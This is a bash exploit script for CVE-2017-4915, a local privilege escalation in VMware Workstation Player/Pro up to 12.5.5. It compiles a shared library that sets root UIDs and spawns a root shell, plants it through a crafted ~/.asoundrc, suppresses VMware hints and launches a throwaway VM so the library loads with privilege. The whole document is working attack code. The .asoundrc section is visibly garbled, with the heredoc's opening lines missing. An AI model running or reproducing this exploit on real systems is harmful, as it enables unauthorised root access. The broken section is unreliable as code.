Exploit for CVE-2017-4915

cve-2017-4915.sh

#!/bin/bash
################################################################################
# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915)        #
#  - https://www.vmware.com/security/advisories/VMSA-2017-0009.html            #
#  - https://www.exploit-db.com/exploits/42045/                                #
#                                                                              #
# Affects:                                                                     #
#  - VMware Workstation Player <= 12.5.5                                       #
#  - VMware Workstation Pro <= 12.5.5                                          #
################################################################################
# ~ bcoles

VM_PLAYER=/usr/bin/vmplayer
GCC=/usr/bin/gcc

RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]')
VM_DIR=$HOME/.$RAND_STR

echo "[*] Creating directory $VM_DIR"

mkdir "$VM_DIR"

if [ $? -ne 0 ] ; then
  echo "[-] Could not create $VM_DIR"
  exit 1
fi

echo "[*] Writing $VM_DIR/$RAND_STR.c"

cat > "$VM_DIR/$RAND_STR.c" <<EOL
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid);
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    printf("switched to root UID and GID");
    system("/bin/bash");
    _exit(0);
  }
}
EOL

echo "[*] Compiling $VM_DIR/$RAND_STR.c"

$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99

if [ $? -ne 0 ] ; then
  echo "[-] Compilation failed"
  exit 1
fi

echo "[*] Removing $VM_DIR/$RAND_STR.c"
rm "$VM_DIR/$RAND_STR.c"

echo "[*] Writing $HOME/.asoundrc"
  lib "$VM_DIR/$RAND_STR.so"
  func "conf_pulse_hook_load_if_running"
}
EOL

echo "[*] Writing $VM_DIR/$RAND_STR.vmx"

cat > "$VM_DIR/$RAND_STR.vmx" <<EOL
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "$RAND_STR"
guestOS = "other"
nvram = "$RAND_STR.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
EOL

echo "[*] Disabling VMware hint popups"

if [ ! -d "$HOME/.vmware" ]; then
  mkdir "$HOME/.vmware"
fi

if [ -f "$HOME/.vmware/preferences" ]; then
  if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then
    sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences"
  else
    echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
  fi
else
  echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences"
  echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences"
  echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
fi

echo "[*] Launching VMware Player..."
$VM_PLAYER "$VM_DIR/$RAND_STR.vmx"

echo "[*] Removing $HOME/.asoundrc"
rm "$HOME/.asoundrc"

echo "[!] Remove $VM_DIR when you're done"
rmdir "$VM_DIR"

################################################################################
# EOF